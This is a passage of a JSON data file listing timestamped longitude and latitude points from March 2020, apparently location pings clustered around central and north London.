de":-0.1447101442127555,"latitude":51.50526765856499},{"time":1584529330875,"longitude":-0.09771355809403653,"latitude":51.50985436317268},{"time":1584529345157,"longitude":-0.13241068583204182,"latitude":51.50841424515016},{"time":1584529410997,"longitude":-0.13248284724971776,"latitude":51.50824084406238},{"time":1584529469439,"longitude":-0.1323459480826206,"latitude":51.50837136674596},{"time":1584529482834,"longitude":-0.13261216022507663,"latitude":51.50837588482988},{"time":1584529531508,"longitude":-0.16400535869256347,"latitude":51.522626670030526},{"time":1584529571022,"longitude":-0.13212662246486082,"latitude":51.50854326423748},{"time":1584529595928,"longitude":-0.13222764845355475,"latitude":51.50847930079659},{"time":1584529613559,"longitude":-0.1651592856112622,"latitude":51.50656679137034},{"time":1584529745597,"longitude":-0.13340223786338198,"latitude":51.50829262632699},{"time":1584529768219,"longitude":-0.13222549833765798,"latitude":51.508378028099905},{"time":1584529830524,"longitude":-0.13245374586967326,"latitude":51.508345434591995},{"time":1584529925755,"longitude":-0.13288948265360184,"latitude":51.5083557115714},{"time":1584529992549,"longitude":-0.13294199174931773,"latitude":51.50845862857235},{"time":1584530035590,"longitude":-0.13241032567215288,"latitude":51.508365647839916},{"time":1584530093464,"longitude":-0.13210095504581915,"latitude":51.50847699386385},{"time":1584530139084,"longitude":-0.13287380072743984,"latitude":51.508367901672194},{"time":1584530275872,"longitude":-0.13330331066482143,"latitude":51.50831933003914},{"time":1584530323396,"longitude":-0.13228152429692044,"latitude":51.508358365949874},{"time":1584530335015,"longitude":-0.13222313009337547,"latitude":51.508414306761495},{"time":1584530377515,"longitude":-0.1328053213439009,"latitude":51.50821117917706},{"time":1584530422616,"longitude":-0.13278569649991304,"latitude":51.508292295471435},{"time":1584530479309,"longitude":-0.13251700883219256,"latitude":51.50819594475213},{"time":1584530480327,"longitude":-0.13245145570377886,"latitude":51.50825291375243},{"time":1584530532501,"longitude":-0.13325955998869518,"latitude":51.50844324085695},{"time":1584530563183,"longitude":-0.13255747882091687,"latitude":51.50836636444926},{"time":1584530577089,"longitude":-0.1316320625203579,"latitude":51.50842060495634},{"time":1584530602218,"longitude":-0.13295583590884347,"latitude":51.508366106627065},{"time":1584530647152,"longitude":-0.13209720082727716,"latitude":51.50835658476205},{"time":1584530662152,"longitude":-0.13306896479724617,"latitude":51.508098969060356},{"time":1584530667797,"longitude":-0.13269422983541426,"latitude":51.50836799583384},{"time":1584530679531,"longitude":-0.13212537560412976,"latitude":51.50836694356992},{"time":1584530688772,"longitude":-0.13171961012352745,"latitude":51.50820197057629},{"time":1584530813604,"longitude":-0.1327916472110234,"latitude":51.50841772108203},{"time":1584530934386,"longitude":-0.1325944062626153,"latitude":51.508355910571055},{"time":1584530986125,"longitude":-0.13263595716996587,"latitude":51.508294714403576},{"time":1584531023474,"longitude":-0.13144135742692295,"latitude":51.50842813242066},{"time":1584531060171,"longitude":-0.13420376242224932,"latitude":51.50813948717492},{"time":1584531070487,"longitude":-0.13269736416100578,"latitude":51.508636108379626},{"time":1584531205370,"longitude":-0.13295708484848653,"latitude":51.5083303894261},{"time":1584531284835,"longitude":-0.18451343317398977,"latitude":51.507017014079366},{"time":1584531367936,"longitude":0.013223852464133934,"latitude":51.498832118926906},{"time":1584531395496,"longitude":-0.13327278405660828,"latitude":51.50842345463439},{"time":1584531478153,"longitude":-0.1332266178733438,"latitude":51.508319171639975},{"time":1584531494311,"longitude":0.015876880034632584,"latitude":51.502514258544615},{"time":1584531505191,"longitude":-0.13388190210316742,"latitude":51.508110393065564},{"time":1584531559024,"longitude":-0.13269995276761598,"latitude":51.50864477626979},{"time":1584531569546,"longitude":-0.07875595448706824,"latitude":51.514902468561125},{"time":1584531639783,"longitude":-0.13405026982067178,"latitude":51.508334729879685},{"time":1584531740075,"longitude":-0.13388207963768614,"latitude":51.508490002631596},{"time":1584531758421,"longitude":-0.1320959009023148,"latitude":51.508288445193116},{"time":1584531768676,"longitude":-0.13261517467478975,"latitude":51.50832088730543},{"time":1584531907653,"longitude":-0.1334026121516082,"latitude":51.508295833348875},{"time":1584532011507,"longitude":-0.13293144422054076,"latitude":51.50838084520264},{"time":1584532067125,"longitude":-0.1326965968372316,"latitude":51.50846100493553},{"time":1584532135832,"longitude":-0.13238204111040816,"latitude":51.50816633375487},{"time":1584532151675,"longitude":-0.13353423090247304,"latitude":51.508357817261846},{"time":1584532155658,"longitude":-0.13288702552930914,"latitude":51.50818773073958},{"time":1584532230320,"longitude":-0.23254068665445998,"latitude":51.524246793749725},{"time":1584532238694,"longitude":-0.13352214811396382,"latitude":51.5082022305204},{"time":1584532315168,"longitude":-0.12303481572145172,"latitude":51.51057186256053},{"time":1584532440732,"longitude":-0.1323565137443418,"latitude":51.50860946632594},{"time":1584532495309,"longitude":-0.13361675979825396,"latitude":51.5081049150908},{"time":1584532565632,"longitude":-0.055266741070993594,"latitude":51.515512840223906},{"time":1584532566514,"longitude":-0.1340893194385469,"latitude":51.5083122287583},{"time":1584532748568,"longitude":-0.13160464395989607,"latitude":51.50814757256687},{"time":1584532881963,"longitude":-0.04564049320761042,"latitude":51.509525480574},{"time":1584532910483,"longitude":-0.13242544799116085,"latitude":51.50837948168355},{"time":1584532911163,"longitude":-0.13381018896541322,"latitude":51.508580963980656},{"time":1584532966669,"longitude":-0.13415916459287108,"latitude":51.508126274269856},{"time":1584532986820,"longitude":-0.2230569808384539,"latitude":51.50197502468642},{"time":1584533047698,"longitude":-0.13206311530024178,"latitude":51.50865137847883},{"time":1584533111568,"longitude":-0.13258761566358468,"latitude":51.508217055582065},{"time":1584533183595,"longitude":-0.17044273935178844,"latitude":51.522477607132004},{"time":1584533293894,"longitude":-0.13245324068055533,"latitude":51.50812335247105},{"time":1584533348854,"longitude":-0.11873968851481242,"latitude":51.51380852738211},{"time":1584533384935,"longitude":-0.13183055498687765,"latitude":51.50831980802711},{"time":1584533422778,"longitude":-0.011053240394916383,"latitude":51.52077020500255},{"time":1584533472623,"longitude":-0.14721275078757512,"latitude":51.521380455728774},{"time":1584533697019,"longitude":-0.032959558506503034,"latitude":51.5026578946887},{"time":1584534260525,"longitude":-0.04120398431650084,"latitude":51.500264944103336},{"time":1584534491031,"longitude":-0.08725143260617825,"latitude":51.511005745786626},{"time":1584534617902,"longitude":-0.08611853365193932,"latitude":51.51209502648387},{"time":1584534625453,"longitude":-0.22049145275501136,"latitude":51.514794049099656},{"time":1584534647242,"longitude":-0.01345009346025694,"latitude":51.52378301023478},{"time":1584534661449,"longitude":-0.2270922347717922,"latitude":51.506686658015575},{"time":1584534809276,"longitude":-0.17401282473451823,"latitude":51.50030831925003},{"time":1584534814476,"longitude":-0.09014192718368386,"latitude":51.51101123510602},{"time":1584534863484,"longitude":-0.08959969133120428,"latitude":51.511732456781615},{"time":1584535272240,"longitude":-0.04386344416483919,"latitude":51.51322623336384},{"time":1584535272364,"longitude":-0.16928834849609653,"latitude":51.50114425516867},{"time":1584535369168,"longitude":-0.08449003587443948,"latitude":51.512141227892535},{"time":1584535487342,"longitude":-0.08341457631874957,"latitude":51.51216389418508},{"time":1584535499988,"longitude":-0.08682694490479784,"latitude":51.5122732291655},{"time":1584535503875,"longitude":-0.08265314137012104,"latitude":51.511173347226766},{"time":1584535563054,"longitude":-0.08166376395373857,"latitude":51.511148580892126},{"time":1584535688560,"longitude":-0.0855625279098311,"latitude":51.51180553385794},{"time":1584535780933,"longitude":-0.08428397962071957,"latitude":51.51205395946038},{"time":1584535906086,"longitude":-0.08300172476274469,"latitude":51.51077314445998},{"time":1584535983410,"longitude":-0.09011296335575371,"latitude":51.51202516363422},{"time":1584535999658,"longitude":-0.11832651188514157,"latitude":51.49852254627044},{"time":1584536085404,"longitude":-0.08872456846090047,"latitude":51.51219048372316},{"time":1584536108728,"longitude":-0.09680965042365333,"latitude":51.50753045190883},{"time":1584536120593,"longitude":-0.08672450655697367,"latitude":51.5116516884627},{"time":1584536136270,"longitude":-0.08179452147966716,"latitude":51.512052343612986},{"time":1584536220119,"longitude":-0.17387702278829492,"latitude":51.510891678055934},{"time":1584536235998,"longitude":-0.0822013469071526,"latitude":51.512282870845446},{"time":1584536240710,"longitude":-0.08444690045008565,"latitude":51.51200088274907},{"time":1584536243693,"longitude":-0.08640025017348216,"latitude":51.51178952848086},{"time":1584536601332,"longitude":-0.14542411049270548,"latitude":51.50057620108086},{"time":1584536611683,"longitude":-0.16721894385332642,"latitude":51.50559724044396},{"time":1584536674439,"longitude":-0.10699435140867757,"latitude":51.52004379912134},{"time":1584536675458,"longitude":-0.08458632400959748,"latitude":51.51188465474049},{"time":1584536776191,"longitude":-0.08966583769363247,"latitude":51.51221231837332},{"time":1584536879381,"longitude":-0.08614720210159513,"latitude":51.51882095349619},{"time":1584536970718,"longitude":-0.0888143571246695,"latitude":51.50409036441454},{"time":1584536990085,"longitude":-0.1462516672426926,"latitude":51.517587551440045},{"time":1584537041833,"longitude":-0.08350773707153214,"latitude":51.50799803291389},{"time":1584537044795,"longitude":-0.0895389354827879,"latitude":51.51242640846784},{"time":1584537066046,"longitude":-0.08126082040866729,"latitude":51.51135747185493},{"time":1584537125662,"longitude":-0.08543301134253124,"latitude":51.49391322070983},{"time":1584537243802,"longitude":-0.08910122422581591,"latitude":51.49506020002681},{"time":1584537500617,"longitude":-0.08858542029214894,"latitude":51.50456169468559},{"time":1584537524764,"longitude":-0.08306008517830407,"latitude":51.494998338275884},{"time":1584537661238,"longitude":-0.0863504227546056,"latitude":51.492956849897126},{"time":1584537695092,"longitude":-0.08415697855088475,"latitude":51.501451206900796},{"time":1584537966021,"longitude":-0.08856393414887634,"latitude":51.50891949772673},{"time":1584538223530,"longitude":-0.08517592481027404,"latitude":51.49909112526916},{"time":1584538354938,"longitude":-0.0870148836048135,"latitude":51.4966401805254},{"time":1584538452470,"longitude":-0.08900822158067956,"latitude":51.521851470882275},{"time":1584538492370,"longitude":-0.08326497984586725,"latitude":51.503769184448885},{"time":1584559193009,"longitude":-0.08184623974872206,"latitude":51.49673450678051},{"time":1584559293986,"longitude":-0.08459776726230003,"latitude":51.506151210991014},{"time":1584559308945,"longitude":-0.07575640311571621,"latitude":51.5027481267369},{"time":1584559592090,"longitude":-0.09013833146727057,"latitude":51.498345055736216},{"time":1584559875124,"longitude":-0.09640260814586865,"latitude":51.50089511772495},{"time":1584559946940,"longitude":-0.08775479990613153,"latitude":51.50353520316759},{"time":1584560171543,"longitude":-0.08880147300372877,"latitude":51.50455255219967},{"time":1584560274051,"longitude":-0.08380021896388856,"latitude":51.5014868619796},{"time":1584560277692,"longitude":-0.09099631469567504,"latitude":51.49951319134912},{"time":1584560331206,"longitude":-0.08304560309463675,"latitude":51.49568997333201},{"time":1584560354286,"longitude":-0.0882279696603906,"latitude":51.499794503088566},{"time":1584560412318,"longitude":-0.0883164223354604,"latitude":51.506396074544384},{"time":1584560903829,"longitude":-0.07861789497081417,"latitude":51.503630716775504},{"time":1584560993110,"longitude":-0.07074421757218764,"latitude":51.49844787959533},{"time":1584561004578,"longitude":-0.09018514787468648,"latitude":51.494620992691424},{"time":1584561100708,"longitude":-0.08216645685585598,"latitude":51.501499132505806},{"time":1584561258371,"longitude":-0.0694770271566855,"latitude":51.503602174299225},{"time":1584561304946,"longitude":-0.08065054435542512,"latitude":51.50498689396219},{"time":1584561547619,"longitude":-0.09588000987100594,"latitude":51.530943889935116},{"time":1584561564439,"longitude":-0.09642409297446873,"latitude":51.496398289028186},{"time":1584561661660,"longitude":-0.0951487211643638,"latitude":51.52511886696198},{"time":1584561678199,"longitude":-0.07008336468412203,"latitude":51.50502938322072},{"time":1584561948236,"longitude":-0.09504760120629756,"latitude":51.49683465537918},{"time":1584562214993,"longitude":-0.08527181877145926,"latitude":51.54395749771892},{"time":1584562259440,"longitude":-0.09256231188974862,"latitude":51.49637301834939},{"time":1584562312263,"longitude":-0.10283087783409867,"latitude":51.5504462045794},{"time":1584562329100,"longitude":-0.11780135292261668,"latitude":51.549160460345846},{"time":1584562443160,"longitude":-0.07006933134752528,"latitude":51.494395816688474},{"time":1584562469050,"longitude":-0.09755657962150857,"latitude":51.55147780997272},{"time":1584562471624,"longitude":-0.07905660056103787,"latitude":51.50344874110204},{"time":1584562509502,"longitude":-0.07997344325123393,"latitude":51.50248129898672},{"time":1584562516336,"longitude":-0.11056852018966971,"latitude":51.54029599123955},{"time":1584562665360,"longitude":-0.09867799680071619,"latitude":51.54412743892029},{"time":1584562888141,"longitude":-0.09877172854712986,"latitude":51.547461336953354},{"time":1584562900564,"longitude":-0.11498706160788942,"latitude":51.55208393956839},{"time":1584563045551,"longitude":-0.08309088824330738,"latitude":51.54653217721408},{"time":1584563142996,"longitude":-0.11367844388875858,"latitude":51.52719090716438},{"time":1584563146111,"longitude":-0.11584386699381818,"latitude":51.537919579395734},{"time":1584563196063,"longitude":-0.09099414224415965,"latitude":51.54468993597253},{"time":1584563200623,"longitude":-0.08895400830354419,"latitude":51.53712945623526},{"time":1584563442723,"longitude":-0.10544710245255719,"latitude":51.525690058628605},{"time":1584563472416,"longitude":-0.08559462609724448,"latitude":51.52510652425369},{"time":1584563472580,"longitude":-0.11982408263814867,"latitude":51.5466983235521},{"time":1584563485209,"longitude":-0.1178097579159407,"latitude":51.54601451012717},{"time":1584563550495,"longitude":-0.08948851492795146,"latitude":51.54166960214281},{"time":1584563567775,"longitude":-0.10946053753550596,"latitude":51.54743867759865},{"time":1584563589891,"longitude":-0.10899338667711761,"latitude":51.537307372010154},{"time":1584563669760,"longitude":-0.10857121944132372,"latitude":51.53712024272772},{"time":1584563904677,"longitude":-0.1172436239138846,"latitude":51.548539392074375},{"time":1584563984134,"longitude":-0.11655560927487695,"latitude":51.53946220365051},{"time":1584564036167,"longitude":-0.10705334766677133,"latitude":51.53872021647},{"time":1584564386377,"longitude":-0.10565433701163654,"latitude":51.546329125130384},{"time":1584564396564,"longitude":-0.10656242440175337,"latitude":51.553517592055265},{"time":1584564404183,"longitude":-0.11553022114226356,"latitude":51.54374789897349},{"time":1584564478233,"longitude":-0.1180899556414619,"latitude":51.533591139568195},{"time":1584564495763,"longitude":-0.10025301473844836,"latitude":51.54701760562108},{"time":1584564512074,"longitude":-0.10298655507334491,"latitude":51.54779705706128},{"time":1584564649786,"longitude":-0.10245792341167226,"latitude":51.5432588028171},{"time":1584564683799,"longitude":-0.1084305299338695,"latitude":51.55245452253813},{"time":1584564750486,"longitude":-0.09760668603169143,"latitude":51.53914210114604},{"time":1584564866792,"longitude":-0.11720989903643592,"latitude":51.544611329368145},{"time":1584564868887,"longitude":-0.10120851656221433,"latitude":51.545773517200324},{"time":1584564896160,"longitude":-0.10362598399169576,"latitude":51.54664557178767},{"time":1584564972987,"longitude":-0.10405362138126223,"latitude":51.54666557597589},{"time":1584565173888,"longitude":-0.11610516134607574,"latitude":51.54616134902807},{"time":1584565220196,"longitude":-0.1029606413195093,"latitude":51.54689019229197},{"time":1584565272258,"longitude":-0.10380861394599454,"latitude":51.54689322752068},{"time":1584565334444,"longitude":-0.11051778421172807,"latitude":51.54920077334954},{"time":1584565410923,"longitude":-0.09961320322524832,"latitude":51.54594169388127},{"time":1584565492058,"longitude":-0.10065829755805908,"latitude":51.5469612762853},{"time":1584565559051,"longitude":-0.09921615191579816,"latitude":51.54364653116657},{"time":1584565563631,"longitude":-0.10130913381946215,"latitude":51.546139259688196},{"time":1584565639580,"longitude":-0.113053022878734,"latitude":51.54428334522969},{"time":1584565739710,"longitude":-0.10426757774073694,"latitude":51.54844724683076},{"time":1584565793230,"longitude":-0.10118586001790113,"latitude":51.54617990372182},{"time":1584565797004,"longitude":-0.09904144203234556,"latitude":51.545580117212324},{"time":1584565804016,"longitude":-0.10233901155364497,"latitude":51.54685731748465},{"time":1584565808699,"longitude":-0.10126632388415367,"latitude":51.54618819789679},{"time":1584565831738,"longitude":-0.10451506342823619,"latitude":51.545743847979885},{"time":1584565855936,"longitude":-0.10105618159844619,"latitude":51.54620400399433},{"time":1584565910767,"longitude":-0.10123594664562331,"latitude":51.5462031574098},{"time":1584565915331,"longitude":-0.1012871783678757,"latitude":51.54626900639855},{"time":1584565923434,"longitude":-0.10274148053055543,"latitude":51.54685785917207},{"time":1584565973435,"longitude":-0.10212229282357725,"latitude":51.54577284448481},{"time":1584565998274,"longitude":-0.1030813642849435,"latitude":51.54562472922969},{"time":1584566042752,"longitude":-0.10111025494716845,"latitude":51.546178202804136},{"time":1584566166715,"longitude":-0.10025550365347662,"latitude":51.54654666474622},{"time":1584566221605,"longitude":-0.10143995969102057,"latitude":51.54658014979411},{"time":1584566230321,"longitude":-0.10113891942538207,"latitude":51.5461985213405},{"time":1584566293508,"longitude":-0.10124806032535066,"latitude":51.54619103340063},{"time":1584566415671,"longitude":-0.10305070852872608,"latitude":51.5467905814635},{"time":1584566724045,"longitude":-0.10123563469299553,"latitude":51.54620782820564},{"time":1584566760483,"longitude":-0.10122134728619303,"latitude":51.54619172164059},{"time":1584566813850,"longitude":-0.10331434964721449,"latitude":51.545564963825036},{"time":1584566824745,"longitude":-0.10047866242410536,"latitude":51.5459942671413},{"time":1584567071398,"longitude":-0.10115307331857436,"latitude":51.546214228605294},{"time":1584567182776,"longitude":-0.10108054090969426,"latitude":51.54622715882962},{"time":1584567307024,"longitude":-0.10128115316419,"latitude":51.54619918809093},{"time":1584567438801,"longitude":-0.10106038872235923,"latitude":51.54627880698523},{"time":1584567745928,"longitude":-0.10118936238873524,"latitude":51.54622930713726},{"time":1584567872779,"longitude":-0.10116042107342,"latitude":51.54611983913251},{"time":1584567915177,"longitude":-0.10107111287582009,"latitude":51.54612960989155},{"time":1584568000295,"longitude":-0.1012749288507205,"latitude":51.54625397731722},{"time":1584596089791,"longitude":-0.11193868614233717,"latitude":51.54438473513597},{"time":1584596428757,"longitude":-0.11095980653997704,"latitude":51.54378230542539},{"time":1584597523290,"longitude":-0.11207651546315121,"latitude":51.544204283467714},{"time":1584598623774,"longitude":-0.11037945995949938,"latitude":51.54418259483777},{"time":1584598999801,"longitude":-0.11324067546762315,"latitude":51.54870874476639},{"time":1584599549661,"longitude":-0.11106921928185554,"latitude":51.54402774085899},{"time":1584600653666,"longitude":-0.11369933605049216,"latitude":51.54313411662748},{"time":1584601033470,"longitude":-0.11019633245439102,"latitude":51.546351487894434},{"time":1584602050892,"longitude":-0.11108760121810987,"latitude":51.54693797375276},{"time":1584602836321,"longitude":-0.11318582257541238,"latitude":51.547006914412805},{"time":1584603172006,"longitude":-0.11204695541906695,"latitude":51.54259037006868},{"time":1584603517681,"longitude":-0.11219868686668141,"latitude":51.54686584792893},{"time":1584604046243,"longitude":-0.06468087393121533,"latitude":51.502554820888236},{"time":1584604120969,"longitude":-0.11368185685033774,"latitude":51.46729958900961},{"time":1584604198329,"longitude":-0.13342623334577483,"latitude":51.57947613746248},{"time":1584604745611,"longitude":-0.08080062156860285,"latitude":51.57244794499027},{"time":1584604870635,"longitude":-0.11341662678717433,"latitude":51.54341619093043},{"time":1584604901976,"longitude":-0.09779987267840254,"latitude":51.542562641799506},{"time":1584604970616,"longitude":-0.11218842349002248,"latitude":51.54446961616972},{"time":1584605645033,"longitude":-0.13891140814039352,"latitude":51.56901598132034},{"time":1584605794911,"longitude":-0.05568289956368208,"latitude":51.56915761937533},{"time":1584606122283,"longitude":-0.10764672137863204,"latitude":51.49159050836389},{"time":1584606523729,"longitude":-0.10068657724922084,"latitude":51.565600886071344},{"time":1584606536050,"longitude":-0.09328806320680874,"latitude":51.51717289078345},{"time":1584606763797,"longitude":-0.06630054935321171,"latitude":51.57388402260236},{"time":1584606814107,"longitude":-0.13549134756324516,"latitude":51.518617236356604},{"time":1584606825853,"longitude":-0.08021217473987181,"latitude":51.57079091033984},{"time":1584606939533,"longitude":-0.12714715382885083,"latitude":51.52775954713244},{"time":1584607674958,"longitude":-0.1127756367474258,"latitude":51.547522504726786},{"time":1584607869961,"longitude":-0.09638068537075198,"latitude":51.54928835041862},{"time":1584608642599,"longitude":-0.10841743208494894,"latitude":51.54623592298989},{"time":1584608653335,"longitude":-0.11264900843540224,"latitude":51.5474347439193},{"time":1584609149620,"longitude":-0.11366786325367167,"latitude":51.54718741182128},{"time":1584609251359,"longitude":-0.12600623882139067,"latitude":51.498282801093374},{"time":1584609453109,"longitude":-0.13751347270064024,"latitude":51.57899633155545},{"time":1584610337844,"longitude":-0.11136863509394657,"latitude":51.544166679592664},{"time":1584629814147,"longitude":-0.08489841641652765,"latitude":51.49950861442858},{"time":1584636326335,"longitude":-0.08316885056460074,"latitude":51.53434486852711},{"time":1584636441510,"longitude":-0.08302211234417996,"latitude":51.48313496272206},{"time":1584636451990,"longitude":-0.0850146975823276,"latitude":51.48606452138993},{"time":1584636514739,"longitude":-0.08220265490437229,"latitude":51.505470632881064},{"time":1584636976883,"longitude":-0.09008904369013286,"latitude":51.49549465646591},{"time":1584637738193,"longitude":-0.0820675654017426,"latitude":51.482231841905225},{"time":1584637762643,"longitude":-0.08131221649309485,"latitude":51.523318331493805},{"time":1584637985638,"longitude":-0.0877054329420379,"latitude":51.4968529883841},{"time":1584638190729,"longitude":-0.0850092499566999,"latitude":51.5115274216798},{"time":1584638205410,"longitude":-0.08895575722827888,"latitude":51.52017959158613},{"time":1584638304404,"longitude":-0.08814108656209238,"latitude":51.53166608635008},{"time":1584638591742,"longitude":-0.08313250417521945,"latitude":51.49458150083621},{"time":1584638728579,"longitude":-0.08744471351101468,"latitude":51.487367379330855},{"time":1584639037627,"longitude":-0.08415400013917836,"latitude":51.483316497412424},{"time":1584639402702,"longitude":-0.08598232574726537,"latitude":51.53265415367044},{"time":1584639406688,"longitude":-0.08278463593891101,"latitude":51.47657817132193},{"time":1584639510594,"longitude":-0.08625483126206955,"latitude":51.534649792069466},{"time":1584639557500,"longitude":-0.08292143863685401,"latitude":51.52024740300571},{"time":1584639655118,"longitude":-0.08583864837589404,"latitude":51.497222759211475},{"time":1584639992396,"longitude":-0.08825541455226828,"latitude":51.5168864597576},{"time":1584639995075,"longitude":-0.08161632128383256,"latitude":51.518464462211526},{"time":1584639996113,"longitude":-0.07398403483390228,"latitude":51.5215876660077},{"time":1584640080797,"longitude":-0.08541738665255669,"latitude":51.53396873296138},{"time":1584640134144,"longitude":-0.0796104569335941,"latitude":51.51745127635048},{"time":1584640534914,"longitude":-0.07678315970499404,"latitude":51.522014990923424},{"time":1584640559446,"longitude":-0.07772015862073908,"latitude":51.51936151010406},{"time":1584640566777,"longitude":-0.08455035282388138,"latitude":51.483143147735674},{"time":1584640575413,"longitude":-0.08866301967102082,"latitude":51.49600292644065},{"time":1584640578972,"longitude":-0.0747367933174063,"latitude":51.51991733428066},{"time":1584640586190,"longitude":-0.08237531905962267,"latitude":51.521356547183615},{"time":1584640713548,"longitude":-0.0732709604464718,"latitude":51.522038857118105},{"time":1584640900202,"longitude":-0.08324772012785782,"latitude":51.4947862792879},{"time":1584641016258,"longitude":-0.07741587200413239,"latitude":51.52334434903858},{"time":1584641072760,"longitude":-0.08198201577913716,"latitude":51.489037969119764},{"time":1584641195309,"longitude":-0.07401814850629242,"latitude":51.52183282145959},{"time":1584641272206,"longitude":-0.08237002810080507,"latitude":51.49549290703684},{"time":1584641393287,"longitude":-0.08008434390686014,"latitude":51.522646118542156},{"time":1584641543291,"longitude":-0.08297342419108755,"latitude":51.51720237348506},{"time":1584641718840,"longitude":-0.08805021435159055,"latitude":51.52426550398568},{"time":1584641792108,"longitude":-0.07996480843055351,"latitude":51.52164420961557},{"time":1584642143664,"longitude":-0.07360977561222218,"latitude":51.52427607787168},{"time":1584642192075,"longitude":-0.07525963111361923,"latitude":51.51894235539931},{"time":1584642230953,"longitude":-0.08357058394312802,"latitude":51.52111499727737},{"time":1584642271599,"longitude":-0.086646654798221,"latitude":51.524240820143675},{"time":1584642377789,"longitude":-0.08326238424037627,"latitude":51.51809807482806},{"time":1584645671593,"longitude":-0.08229074077121647,"latitude":51.52526925794102},{"time":1584645699428,"longitude":-0.08138671589384384,"latitude":51.51980742340661},{"time":1584645747476,"longitude":-0.07666572508892149,"latitude":51.51428513039225},{"time":1584645810534,"longitude":-0.08271284572766299,"latitude":51.5147591745542},{"time":1584646131915,"longitude":-0.0766966313185053,"latitude":51.52472938079457},{"time":1584646145320,"longitude":-0.08323711857034703,"latitude":51.51539609710312},{"time":1584646184729,"longitude":-0.07873571596336365,"latitude":51.52047670143922},{"time":1584646489270,"longitude":-0.08303002562823582,"latitude":51.52491736272895},{"time":1584646667055,"longitude":-0.07885661680273613,"latitude":51.52340045449848},{"time":1584646704129,"longitude":-0.08184236546108506,"latitude":51.51906654819086},{"time":1584646779625,"longitude":-0.0754921184631376,"latitude":51.51767793985174},{"time":1584646794634,"longitude":-0.08074578460900399,"latitude":51.51370898587676},{"time":1584646819617,"longitude":-0.08103378173057725,"latitude":51.517474166455834},{"time":1584646841206,"longitude":-0.08257424547644295,"latitude":51.518303080045925},{"time":1584647054751,"longitude":-0.08026191195623102,"latitude":51.52199284126596},{"time":1584647167087,"longitude":-0.0766361255701198,"latitude":51.52618444937276},{"time":1584647180724,"longitude":-0.07629696424587773,"latitude":51.51434206670864},{"time":1584647196243,"longitude":-0.08110641446852233,"latitude":51.515521208164245},{"time":1584647215940,"longitude":-0.0753197139106395,"latitude":51.5197902957042},{"time":1584647248726,"longitude":-0.0800111001748074,"latitude":51.51741227555578},{"time":1584647323221,"longitude":-0.0750469426012632,"latitude":51.52628445668929},{"time":1584647434046,"longitude":-0.08015684943273281,"latitude":51.520664972002415},{"time":1584647435736,"longitude":-0.08033187754523716,"latitude":51.51761570632743},{"time":1584647501501,"longitude":-0.08147579825152386,"latitude":51.51746575270959},{"time":1584647535910,"longitude":-0.08083016285997398,"latitude":51.51710229295841},{"time":1584647577681,"longitude":-0.08105885065396454,"latitude":51.5171622334222},{"time":1584647629525,"longitude":-0.07991188685376066,"latitude":51.513070348833224},{"time":1584647714192,"longitude":-0.08191179651896509,"latitude":51.517333922201395},{"time":1584647722687,"longitude":-0.08138707536566954,"latitude":51.52002353206808},{"time":1584647724107,"longitude":-0.0816754990763661,"latitude":51.517128436824926},{"time":1584647746431,"longitude":-0.08059765010264008,"latitude":51.51753572007867},{"time":1584647927203,"longitude":-0.07996813328847818,"latitude":51.51749881015747},{"time":1584648094047,"longitude":-0.08370746615918129,"latitude":51.52270446767144},{"time":1584648145085,"longitude":-0.08114721085364023,"latitude":51.516935507297994},{"time":1584648209614,"longitude":-0.08066827614290385,"latitude":51.51742007415557},{"time":1584648232531,"longitude":-0.08076032036543092,"latitude":51.51709093699678},{"time":1584648266965,"longitude":-0.07730925055208897,"latitude":51.517940829159414},{"time":1584648319021,"longitude":-0.0807924292104261,"latitude":51.51713050614105},{"time":1584648343481,"longitude":-0.08112890000448318,"latitude":51.517545567194766},{"time":1584648353825,"longitude":-0.08034045066335072,"latitude":51.51745317943075},{"time":1584648390195,"longitude":-0.08099916785945332,"latitude":51.51737440761911},{"time":1584648406929,"longitude":-0.08031951254968894,"latitude":51.52233573582214},{"time":1584648437640,"longitude":-0.08009847913753403,"latitude":51.517250106290035},{"time":1584648559492,"longitude":-0.08099069889520266,"latitude":51.51725914813689},{"time":1584648633128,"longitude":-0.0812147757523048,"latitude":51.517322282201626},{"time":1584648672652,"longitude":-0.08074893505041114,"latitude":51.51754216434127},{"time":1584648756708,"longitude":-0.08129087490182853,"latitude":51.5169265869066},{"time":1584648810575,"longitude":-0.08031756866042869,"latitude":51.51709664605652},{"time":1584648877589,"longitude":-0.08109151149494029,"latitude":51.51717599881144},{"time":1584648948233,"longitude":-0.08091412183673513,"latitude":51.51714564550087},{"time":1584649080552,"longitude":-0.08117543556947915,"latitude":51.517416114137845},{"time":1584649260695,"longitude":-0.08104390140004836,"latitude":51.51714944758037},{"time":1584649278595,"longitude":-0.08030233381472715,"latitude":51.51689983918775},{"time":1584649353373,"longitude":-0.07952693309175202,"latitude":51.5201908462651},{"time":1584649451216,"longitude":-0.08135763797652149,"latitude":51.516830388865344},{"time":1584649479144,"longitude":-0.08048194781745688,"latitude":51.51741810163381},{"time":1584649630278,"longitude":-0.08135831144959425,"latitude":51.516280161842836},{"time":1584649643712,"longitude":-0.0789503071746391,"latitude":51.52006960176785},{"time":1584649680255,"longitude":-0.08261902860219586,"latitude":51.51423196296803},{"time":1584649693279,"longitude":-0.0805804651549582,"latitude":51.5171450365577},{"time":1584649693318,"longitude":-0.08067242497290121,"latitude":51.51729074007485},{"time":1584649722882,"longitude":-0.08196266329607492,"latitude":51.517091341617736},{"time":1584649807947,"longitude":-0.08208811119663542,"latitude":51.52224971031445},{"time":1584650136322,"longitude":-0.08119089834236266,"latitude":51.521522580523076},{"time":1584650137241,"longitude":-0.08122749226376388,"latitude":51.514408544411296},{"time":1584650206730,"longitude":-0.07821386685707897,"latitude":51.51526966622648},{"time":1584650402723,"longitude":-0.08067322656617805,"latitude":51.51713184762143},{"time":1584650544551,"longitude":-0.08020926447192421,"latitude":51.51794170891898},{"time":1584650587626,"longitude":-0.08193057606269305,"latitude":51.51848678330897},{"time":1584650625829,"longitude":-0.08061014213624124,"latitude":51.517257740251004},{"time":1584650665656,"longitude":-0.12158852569662262,"latitude":51.53230321668984},{"time":1584650722549,"longitude":-0.07799773664546353,"latitude":51.51577313906035},{"time":1584650722973,"longitude":-0.08108312940482858,"latitude":51.51722699779778},{"time":1584650725044,"longitude":-0.08084759231114606,"latitude":51.51727888851839},{"time":1584650731944,"longitude":-0.09024394902724843,"latitude":51.55277421823455},{"time":1584650842352,"longitude":-0.08297096579139268,"latitude":51.516747218367804},{"time":1584650884334,"longitude":-0.08178975539534157,"latitude":51.51412886430575},{"time":1584651255722,"longitude":-0.08026805043220717,"latitude":51.52166533612966},{"time":1584651285089,"